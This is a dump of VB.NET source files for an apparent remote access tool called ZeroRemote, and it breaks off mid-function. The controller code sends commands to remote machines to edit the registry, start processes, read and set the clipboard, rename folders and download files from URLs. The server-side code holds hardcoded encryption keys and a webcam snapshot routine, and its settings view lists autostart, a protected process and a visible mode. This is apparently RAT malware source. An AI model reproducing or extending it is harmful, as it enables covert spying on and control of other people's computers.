Form1 5 | false 6 | 0 7 | true 8 | 0 9 | true 10 | -------------------------------------------------------------------------------- /Client/Client/Client/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 | 2 | 3 | true 4 | Main 5 | false 6 | 0 7 | true 8 | 0 9 | true 10 | -------------------------------------------------------------------------------- /Client/Client/Client/ProcessmanagerModules.vb: -------------------------------------------------------------------------------- 1 | Public Class ProcessmanagerModules 2 | Public Sub ListModules(ByVal DataString As String) 3 | ListBoxModules.Items.Clear() 4 | Try 5 | ListBoxModules.Items.AddRange(DataString.Split(CChar("|||"))) 6 | For i As Integer = ListBoxModules.Items.Count - 1 To 0 Step -1 7 | If ListBoxModules.GetItemText(ListBoxModules.Items(i)) = String.Empty Then 8 | ListBoxModules.Items.RemoveAt(i) 9 | End If 10 | Next i 11 | LabelModuleCount.Text = "Loaded " & ListBoxModules.Items.Count.ToString & " modules." 12 | Me.ShowDialog() 13 | Catch 14 | MsgBox("Bad String formatting", MsgBoxStyle.Critical, "Failed") 15 | End Try 16 | End Sub 17 | 18 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/RegistrymanagerModifyValue.vb: -------------------------------------------------------------------------------- 1 | Public Class RegistrymanagerModifyValue 2 | 3 | Private Sub ButtonModify_Click(sender As Object, e As EventArgs) Handles ButtonModify.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Modifying registryvalue...") 5 | Try 6 | Main.WriteData(Registrymanager.LabelCurrentPath.Text & "|||" & TextBoxRegistryvaluename.Text & "|||" & TextBoxRegistryvaluedata.Text) 7 | Main.WriteCommand(Main.SelectedUserID & "|39") 8 | Using dialog As New Waiting() 9 | dialog.ShowDialog() 10 | End Using 11 | Me.Close() 12 | Catch x As Exception 13 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Registryvalue") 14 | End Try 15 | End Sub 16 | End Class -------------------------------------------------------------------------------- /Server/Server/SecureStrings.vb: -------------------------------------------------------------------------------- 1 | Imports System.Text 2 | 3 | Public Class SecureStrings 4 | 5 | 6 | Public Shared Pass As String = "SecureZRSettings" 7 | 8 | ' RC4 Encryption 9 | Public Shared Function Rc4(ByVal message As String) As String 10 | Dim s = Enumerable.Range(0, 256).ToArray 11 | Dim i, j As Integer 12 | For i = 0 To s.Length - 1 13 | j = (j + Asc(Pass(i Mod Pass.Length)) + s(i)) And 255 14 | Dim temp = s(i) 15 | s(i) = s(j) 16 | s(j) = temp 17 | Next 18 | i = 0 19 | j = 0 20 | Dim sb As New StringBuilder(message.Length) 21 | For Each c As Char In message 22 | i = (i + 1) And 255 23 | j = (j + s(i)) And 255 24 | Dim temp = s(i) 25 | s(i) = s(j) 26 | s(j) = temp 27 | sb.Append(Chr(s((s(i) + s(j)) And 255) Xor Asc(c))) 28 | Next 29 | Return sb.ToString 30 | End Function 31 | 32 | End Class 33 | -------------------------------------------------------------------------------- /Client/Client/Client/RegistrymanagerCreateValue.vb: -------------------------------------------------------------------------------- 1 | Public Class RegistrymanagerCreateValue 2 | 3 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Creating registryvalue...") 5 | If String.IsNullOrWhiteSpace(TextBoxRegistryName.Text) Then 6 | Settings.AddLog("Warning", Settings.State.Warning, "No registryvaluename entered!") 7 | MsgBox("Enter a registryname", MsgBoxStyle.Exclamation) 8 | Exit Sub 9 | Else 10 | Try 11 | Main.WriteData(Registrymanager.LabelCurrentPath.Text & "|||" & TextBoxRegistryName.Text & "|||" & TextBoxRegistryData.Text) 12 | Main.WriteCommand(Main.SelectedUserID & "|37") 13 | Using dialog As New Waiting() 14 | dialog.ShowDialog() 15 | End Using 16 | Me.Close() 17 | Catch x As Exception 18 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Registryvalue") 19 | End Try 20 | End If 21 | End Sub 22 | 23 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/ProcessmanagerStartProcess.vb: -------------------------------------------------------------------------------- 1 | Public Class ProcessmanagerStartProcess 2 | 3 | Private Sub ButtonStartProcess_Click(sender As Object, e As EventArgs) Handles ButtonStartProcess.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Starting Process: " & TextBoxProcessname.Text & "...") 5 | If Main.ListViewMain.Items.Count > 0 Then 6 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 7 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 8 | Else 9 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 10 | End If 11 | Try 12 | Main.WriteData(TextBoxProcessname.Text) 13 | Main.WriteCommand(Main.SelectedUserID & "|6") 14 | Using dialog As New Waiting() 15 | dialog.ShowDialog() 16 | End Using 17 | Me.Close() 18 | Catch x As Exception 19 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 20 | End Try 21 | End Sub 22 | 23 | Private Sub ButtonAbort_Click(sender As Object, e As EventArgs) Handles ButtonAbort.Click 24 | Me.Close() 25 | End Sub 26 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/WindowmanagerTitleChanger.vb: -------------------------------------------------------------------------------- 1 | Public Class WindowmanagerTitleChanger 2 | 3 | Private Sub ButtonChangeTitle_Click(sender As Object, e As EventArgs) Handles ButtonChangeTitle.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Changing window title...") 5 | If TextBoxWindowTitle.Text.Contains(";") Then 6 | MsgBox("You can't use ';' in the window title.", MsgBoxStyle.Exclamation) 7 | Exit Sub 8 | End If 9 | If Main.ListViewMain.Items.Count > 0 Then 10 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 11 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 12 | Else 13 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 14 | End If 15 | Try 16 | Main.WriteData(Windowmanager.ListViewWindows.SelectedItems(0).Text & ";;;" & TextBoxWindowTitle.Text) 17 | Main.WriteCommand(Main.SelectedUserID & "|22") 18 | Using dialog As New Waiting() 19 | dialog.ShowDialog() 20 | End Using 21 | Me.Close() 22 | Catch x As Exception 23 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "WindowTitleChanger") 24 | End Try 25 | End Sub 26 | 27 | End Class -------------------------------------------------------------------------------- /Server/Server/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Client/Client/Client.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Client", "Client\Client.vbproj", "{18E894CD-C666-4DC6-96B5-69368C58EE9F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|x86.ActiveCfg = Debug|x86 19 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|x86.Build.0 = Debug|x86 20 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|x86.ActiveCfg = Release|x86 23 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|x86.Build.0 = Release|x86 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /Client/Client/Client/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' Allgemeine Informationen über eine Assembly werden über die folgenden 6 | ' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 7 | ' die mit einer Assembly verknüpft sind. 8 | 9 | ' Die Werte der Assemblyattribute überprüfen 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird 21 | 22 | 23 | ' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 24 | ' 25 | ' Hauptversion 26 | ' Nebenversion 27 | ' Buildnummer 28 | ' Revision 29 | ' 30 | ' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern 31 | ' übernehmen, indem Sie "*" eingeben: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Server/Server.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Server", "Server\Server.vbproj", "{13440149-F1A5-4F37-8E52-E3F0278910CE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|x86.ActiveCfg = Debug|x86 19 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|x86.Build.0 = Debug|x86 20 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|x86.ActiveCfg = Release|Any CPU 23 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|x86.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /Client/Client/Client/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Client/Client/Client/Clipboard.vb: -------------------------------------------------------------------------------- 1 | Public Class Clipboard 2 | 3 | ' Set Remote Clipboard Text 4 | Private Sub ButtonSetText_Click(sender As Object, e As EventArgs) Handles ButtonSetText.Click 5 | If Main.ListViewMain.Items.Count > 0 Then 6 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 7 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 8 | Else 9 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 10 | End If 11 | Try 12 | Main.WriteData(RichTextBoxClipboard.Text) 13 | Main.WriteCommand(Main.SelectedUserID & "|60") 14 | Waiting.ShowDialog() 15 | Catch x As Exception 16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Clipboard") 17 | End Try 18 | End Sub 19 | 20 | ' Get Remote Clipboard Text 21 | Private Sub ButtonGetText_Click(sender As Object, e As EventArgs) Handles ButtonGetText.Click 22 | If Main.ListViewMain.Items.Count > 0 Then 23 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 24 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 25 | Else 26 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 27 | End If 28 | Try 29 | Main.WriteCommand(Main.SelectedUserID & "|61") 30 | Waiting.ShowDialog() 31 | Catch x As Exception 32 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Clipboard") 33 | End Try 34 | End Sub 35 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerRenameFolder.vb: -------------------------------------------------------------------------------- 1 | Imports System.IO 2 | 3 | Public Class FilemanagerRenameFolder 4 | 5 | Private Sub ButtonCancelRename_Click(sender As Object, e As EventArgs) Handles ButtonCancelRename.Click 6 | Me.Close() 7 | End Sub 8 | 9 | Private Sub ButtonRename_Click(sender As Object, e As EventArgs) Handles ButtonRename.Click 10 | If Filemanager.RenameFolderLocal = False Then 11 | Dim Folderpath As String = Filemanager.TextBoxRemoteAdressBar.Text 12 | Dim NewName As String = TextBoxRenameFolder.Text 13 | If Main.ListViewMain.Items.Count > 0 Then 14 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 15 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 16 | Else 17 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 18 | End If 19 | Try 20 | Main.WriteData(Folderpath & "|||" & NewName) 21 | Main.WriteCommand(Main.SelectedUserID & "|27") 22 | Waiting.ShowDialog() 23 | Catch x As Exception 24 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Rename File") 25 | End Try 26 | 27 | Else 28 | Try 29 | FileIO.FileSystem.RenameDirectory(Filemanager.TextBoxLocalAdressBar.Text, TextBoxRenameFolder.Text) 30 | Catch ex As Exception 31 | MsgBox("Unable to rename directory.", MsgBoxStyle.Critical) 32 | End Try 33 | End If 34 | End Sub 35 | 36 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.Client.Main 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /Client/Client/Client/Win32.vb: -------------------------------------------------------------------------------- 1 | Imports System.Runtime.InteropServices 2 | 3 | Public Class Win32 4 | 5 | ' P/Invoke definitions 6 | 7 | _ 8 | Public Shared Function MoveFileEx( _ 9 | ByVal fileName As String, _ 10 | ByVal newName As String, _ 11 | ByVal flags As UInteger) As Boolean 12 | End Function 13 | 14 | _ 15 | Public Shared Function OpenToken( _ 16 | ByVal handle As IntPtr, _ 17 | ByVal access As UInteger, _ 18 | ByRef token As IntPtr) As Boolean 19 | End Function 20 | 21 | _ 22 | Public Shared Function GetPrivilegeID( _ 23 | ByVal machine As String, _ 24 | ByVal name As String, _ 25 | ByRef luid As Long) As Boolean 26 | End Function 27 | 28 | _ 29 | Public Shared Function SetPrivilege( _ 30 | ByVal token As IntPtr, _ 31 | ByVal release As Boolean, _ 32 | ByRef newState As TokenPrivilege, _ 33 | ByVal zero1 As UInteger, _ 34 | ByVal zero2 As IntPtr, _ 35 | ByVal zero3 As IntPtr) As Boolean 36 | End Function 37 | 38 | _ 39 | Public Shared Function ShutdownEx( _ 40 | ByVal machine As String, _ 41 | ByVal message As String, _ 42 | ByVal timeout As UInteger, _ 43 | ByVal force As Boolean, _ 44 | ByVal reboot As Boolean, _ 45 | ByVal reason As UInteger) As Boolean 46 | End Function 47 | 48 | _ 49 | Public Structure TokenPrivilege 50 | Public Count As UInteger 51 | Public LUID As Long 52 | Public Flags As UInteger 53 | End Structure 54 | 55 | End Class 56 | -------------------------------------------------------------------------------- /Client/Client/Client/Downloadmanager.vb: -------------------------------------------------------------------------------- 1 | Imports System.Text.RegularExpressions 2 | 3 | Public Class Downloadmanager 4 | 5 | 6 | ' Regex pattern to make sure input is a valid URL 7 | Private Function ValidatewebsiteAddress(ByVal address As String) As Boolean 8 | If Not Regex.IsMatch(address, _ 9 | "^((ht|f)tp(s?)\:\/\/|~/|/)?([\w]+:\w+@)?([a-zA-Z]{1}([\w\-]+\.)+([\w]{2,5}))(:[\d]{1,5})?((/?\w+/)+|/?)(\w+\.[\w]{3,4})?((\?\w+=\w+)?(&\w+=\w+)*)?") Then 10 | Return False 11 | Else 12 | Return True 13 | End If 14 | End Function 15 | 16 | Private Sub Downloadmanager_Load(sender As Object, e As EventArgs) Handles MyBase.Load 17 | 'Set default value in the combobox 18 | ComboBoxDownloadLocation.SelectedIndex = 0 19 | End Sub 20 | 21 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 22 | If ValidatewebsiteAddress(TextBoxDownloadLink.Text) = False Then 23 | MsgBox("Please enter a valid download link.", MsgBoxStyle.Exclamation, "Invalid link") 24 | Else 25 | Settings.AddLog("Pending", Settings.State.Pending, "Downloading file from url...") 26 | If Main.ListViewMain.Items.Count > 0 Then 27 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 28 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 29 | Else 30 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 31 | End If 32 | Try 33 | Main.WriteData(TextBoxDownloadLink.Text & "|||" & ComboBoxDownloadLocation.SelectedIndex.ToString) 34 | Main.WriteCommand(Main.SelectedUserID & "|65") 35 | Waiting.ShowDialog() 36 | Catch x As Exception 37 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 38 | End Try 39 | End If 40 | End Sub 41 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerFileinfo.vb: -------------------------------------------------------------------------------- 1 | Public Class FilemanagerFileinfo 2 | 3 | Private Function HexToImage(ByVal Hex As String) As Image 4 | Dim Bytes(Hex.Length \ 2 - 1) As Byte 5 | For I = 0 To Bytes.Length - 1 6 | Bytes(I) = Convert.ToByte(Hex.Substring(I * 2, 2), 16) 7 | Next 8 | Return Image.FromStream(New IO.MemoryStream(Bytes)) 9 | End Function 10 | 11 | Public Sub SplitFileInfo() 12 | Dim InfoString() As String 13 | Try 14 | InfoString = Split(CStr(Main.ReadData), "|||") 15 | Catch 16 | MsgBox("Failed formatting Info. Please Retry.", MsgBoxStyle.Exclamation) 17 | Exit Sub 18 | End Try 19 | PictureBox1.Image = HexToImage(InfoString(0)) 20 | TextBoxFilename.Text = InfoString(1) 21 | TextBoxFileDescription.Text = InfoString(2) 22 | TextBoxFileType.Text = InfoString(3) 23 | TextBoxLocation.Text = InfoString(4) 24 | LabelCreationDate.Text = InfoString(5) 25 | LabelFilesize.Text = InfoString(6) 26 | If InfoString(7) = "1" Then 27 | CheckBoxHidden.Checked = True 28 | Else 29 | CheckBoxHidden.Checked = False 30 | End If 31 | If InfoString(7) = "1" Then 32 | CheckBoxHidden.Checked = True 33 | Else 34 | CheckBoxHidden.Checked = False 35 | End If 36 | If InfoString(8) = "1" Then 37 | CheckBoxSystem.Checked = True 38 | Else 39 | CheckBoxSystem.Checked = False 40 | End If 41 | If InfoString(9) = "1" Then 42 | CheckBoxReadonly.Checked = True 43 | Else 44 | CheckBoxReadonly.Checked = False 45 | End If 46 | If InfoString(10) = "1" Then 47 | CheckBoxTemporary.Checked = True 48 | Else 49 | CheckBoxTemporary.Checked = False 50 | End If 51 | End Sub 52 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 53 | Me.Close() 54 | End Sub 55 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/ApplicationSettings.vb: -------------------------------------------------------------------------------- 1 | Imports System.Security.Cryptography 2 | 3 | Public Class ApplicationSettings 4 | 5 | Public Const SettingsPass As String = "ZeroRemoteSettings" 6 | 7 | Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String) As String 8 | Dim XoAesProviderX As New RijndaelManaged 9 | Dim XbtCipherX() As Byte 10 | Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} 11 | Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(SettingsPass, XbtSaltX) 12 | XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length) 13 | XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length) 14 | Dim XmsX As New IO.MemoryStream 15 | Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _ 16 | CryptoStreamMode.Write) 17 | Try 18 | XbtCipherX = Convert.FromBase64String(UDecryptU) 19 | XcsX.Write(XbtCipherX, 0, XbtCipherX.Length) 20 | XcsX.Close() 21 | UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray) 22 | Catch 23 | Return "" 24 | End Try 25 | Return UDecryptU 26 | End Function 27 | 28 | Public Shared Function Rijndaelcrypt(ByVal File As String) As String 29 | Dim oAesProvider As New RijndaelManaged 30 | Dim btClear() As Byte 31 | Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} 32 | Dim oKeyGenerator As New Rfc2898DeriveBytes(SettingsPass, btSalt) 33 | oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) 34 | oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) 35 | Dim ms As New IO.MemoryStream 36 | Dim cs As New CryptoStream(ms, _ 37 | oAesProvider.CreateEncryptor(), _ 38 | CryptoStreamMode.Write) 39 | btClear = System.Text.Encoding.UTF8.GetBytes(File) 40 | cs.Write(btClear, 0, btClear.Length) 41 | cs.Close() 42 | File = Convert.ToBase64String(ms.ToArray) 43 | Return File 44 | End Function 45 | 46 | 47 | End Class -------------------------------------------------------------------------------- /Server/Server/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Client/Client/Client/Softwaremanager.vb: -------------------------------------------------------------------------------- 1 | Public Class Softwaremanager 2 | 3 | Public Sub SplitSoftwareList(ByVal Data As String) 4 | If Data = Nothing Then 5 | MsgBox("Couldn't recieve data. Please retry.", MsgBoxStyle.Exclamation) 6 | Exit Sub 7 | End If 8 | ListViewSoftware.Items.Clear() 9 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None) 10 | For Each line In lines 11 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 12 | Dim item = ListViewSoftware.Items.Add(parts(0), 0) 13 | For i = 1 To Math.Min(parts.Length - 1, 2) 14 | Dim PIDcheck As String = parts(i) 15 | item.SubItems.Add(parts(i)) 16 | Next 17 | Next 18 | For Each item As ListViewItem In ListViewSoftware.Items 19 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then 20 | item.Remove() 21 | End If 22 | Next 23 | LabelAppCount.Text = CType(ListViewSoftware.Items.Count, String) 24 | End Sub 25 | 26 | Private Sub ButtonGetSoftware_Click(sender As Object, e As EventArgs) Handles ButtonGetSoftware.Click 27 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting installed software...") 28 | ListViewSoftware.Items.Clear() 29 | If Main.ListViewMain.Items.Count > 0 Then 30 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 31 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 32 | Else 33 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 34 | End If 35 | Try 36 | Main.WriteCommand(Main.SelectedUserID & "|62") 37 | Waiting.ShowDialog() 38 | Catch x As Exception 39 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Softwaremanager") 40 | End Try 41 | End Sub 42 | 43 | 44 | Private Sub Softwaremanager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 45 | ListViewSoftware.Items.Clear() 46 | End Sub 47 | 48 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Serverinformation.vb: -------------------------------------------------------------------------------- 1 | Public Class Serverinformation 2 | 3 | ' This feature will grab the settings that have been applied to the created server file. 4 | 5 | Private Sub ButtonRefreshServerInfo_Click(sender As Object, e As EventArgs) Handles ButtonRefreshServerInfo.Click 6 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing serverinformation...") 7 | If Main.ListViewMain.Items.Count > 0 Then 8 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 9 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 10 | Else 11 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 12 | End If 13 | Try 14 | Main.WriteCommand(Main.SelectedUserID & "|14") 15 | Waiting.ShowDialog() 16 | Catch x As Exception 17 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Serverinformation") 18 | End Try 19 | End Sub 20 | 21 | Public Sub SplitTreeviewData() 22 | TreeViewServerInfo.Nodes.Clear() 23 | Dim Data As String = Main.ReadData() 24 | Dim Parts() As String = Split(Data, "|||") 25 | For i As Integer = 0 To UBound(Parts) 26 | TreeViewServerInfo.Nodes.Add(New TreeNode(Parts(i), i, i)) 27 | Next 28 | End Sub 29 | 30 | Private Sub Serverinformation_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 31 | Try 32 | TreeViewServerInfo.Nodes(0).Text = "Processname: ??" 33 | TreeViewServerInfo.Nodes(1).Text = "Memory Usage: ??" 34 | TreeViewServerInfo.Nodes(2).Text = "Executable Path: ??" 35 | TreeViewServerInfo.Nodes(3).Text = "Autostart at reboot: ??" 36 | TreeViewServerInfo.Nodes(4).Text = "Unique ID: ??" 37 | TreeViewServerInfo.Nodes(5).Text = "Protected Process: ??" 38 | TreeViewServerInfo.Nodes(6).Text = "Privileges: ??" 39 | TreeViewServerInfo.Nodes(7).Text = "Visible Mode: ??" 40 | TreeViewServerInfo.Nodes(8).Text = "Hosting URL: ??" 41 | Catch 42 | End Try 43 | End Sub 44 | End Class -------------------------------------------------------------------------------- /Server/Server/Webcam.vb: -------------------------------------------------------------------------------- 1 | Imports AForge.Controls 2 | Imports AForge.Video.DirectShow 3 | Imports System.Drawing.Imaging 4 | 5 | Public Class Webcam 6 | 7 | ' Count avaiable webcams 8 | Public Function CountWebcamDevices() As Integer 9 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice) 10 | Dim DeviceCount As Integer = 0 11 | For Each MySingleDevice In VideoDevices 12 | DeviceCount += 1 13 | Next 14 | Return DeviceCount 15 | End Function 16 | 17 | ' Get Webcam device names 18 | Public Function GetWebcamDeviceNames() As String 19 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice) 20 | Dim Devices As String = Nothing 21 | If Not CountWebcamDevices() = 0 Then 22 | For Each MySingleDevice As FilterInfo In VideoDevices 23 | Devices &= MySingleDevice.Name & "|||" 24 | Next 25 | Return Devices 26 | Else 27 | Return Nothing 28 | End If 29 | End Function 30 | 31 | ' Take a webcam snapshot 32 | Public Function TakeWebcamSnapshot(ByVal DeviceID As Integer) As String 33 | Dim TimeoutCoutner As New Stopwatch 34 | TimeoutCoutner.Start() 35 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice) 36 | Using VideoSourcePlayer As New VideoSourcePlayer 37 | VideoSourcePlayer.VideoSource = New VideoCaptureDevice(VideoDevices(DeviceID).MonikerString) 38 | VideoSourcePlayer.Start() 39 | Dim myimg As Image = Nothing 40 | Do While VideoSourcePlayer.IsRunning AndAlso myimg Is Nothing 41 | If 